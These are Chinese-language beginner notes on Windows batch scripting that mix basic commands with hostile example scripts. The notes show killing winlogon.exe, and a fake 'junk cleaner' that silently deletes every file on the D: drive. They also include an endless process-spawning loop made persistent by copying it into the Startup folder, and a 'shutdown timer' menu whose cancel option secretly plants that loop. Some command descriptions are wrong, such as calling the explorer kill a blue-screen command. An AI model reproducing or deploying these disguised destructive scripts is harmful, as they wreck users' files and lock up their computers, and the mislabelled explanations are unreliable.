批处理编写
作用:自上而下成批的处理每一条命令。
1.如何创建批处理?
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
注:修改扩展名时,需要将文件的扩展名显示出来才能修改
2.改字体颜色:color ?
3.在执行批处理时,输出一个空行:echo.
4.暂停批处理运行:pause
5.关闭回显功能,也就是屏蔽过程,一般放在首行:@echo off
6.为批处理脚本设置标题:title
7.设置变量:set
e.g互动赋值:set /p time=请输入
引用变量:%time%
8.冒号":和goto"
:定义一个命令区间的(冒号不是命令,只是起划分区块的作用)与goto连用
:定义标签名
goto实现跳转
9.强制杀死指定进程的名称—只针对问windows 2003
ntsd -c q -pn winlogon.exe
10.针对xp或2003的蓝屏命令
taskkill /im explorer.exe /f
im指定名称
/f强制
e.g1:清理垃圾批处理文件
@echo off
color 0a
title clear laji program
echo==========================
echo clear your system laji
echo if bei lanjie please
echo fangxing
echo==========================
pause
echo laji is cheaning…
d: >nul 2>nul
cd \ >nul 2>nul
del . /s/q >nul 2>nul
pause
e.g2.打印helloworld
@echo off
color 0a
titile helloworld
echo=================
echo hello world
echo 这是我的第一个批处理文件
e.g3
:d
start (什么都不写转到cmd)
goto d
//循环执行cmd程序,可能导致电脑死机
userprofile:当前用户目录的家目录路径
%userprofile%(两个%%为取值)
e,g4
copy qq.bat “%userprofile%\「开始」菜单\程序\启动”
:d
start
goto d
pause
e.g5
@echo off
title 飞鸽小程序1.0
color 0a
:menu
cls
echo=============
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo=============
set /p num=您的选择:
if “%num%”==“1” goto 1
if “%num%”==“2” goto 2
if “%num%”==“3” goto 3
echo 宝贝儿,不要乱输入哦,只能输入1,2,3
pause
goto menu
:1
set /p a=请输入时间(单位/秒)
shutdown -s -f -t %a%
goto menu
:2
shutdown -a
goto menu
:3
exit
例6.恶意开机文件
@echo off
title 飞鸽小程序1.0
color 0a
:menu
cls
echo=============
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo=============
set /p num=您的选择:
if “%num%”==“1” goto 1
if “%num%”==“2” goto 2
if “%num%”==“3” goto 3
echo 宝贝儿,不要乱输入哦,只能输入1,2,3
pause
goto menu
:1
set /p a=请输入时间(单位/秒)
shutdown -s -f -t %a%
goto menu
:2
echo :a >> “%userprofile%\「开始」菜单\程序\启动\haha.bat”
echo start >> “%userprofile%\「开始」菜单\程序\启动\haha.bat”
echo goto a >> “%userprofile%\「开始」菜单\程序\启动\haha.bat”
goto menu
:3
exit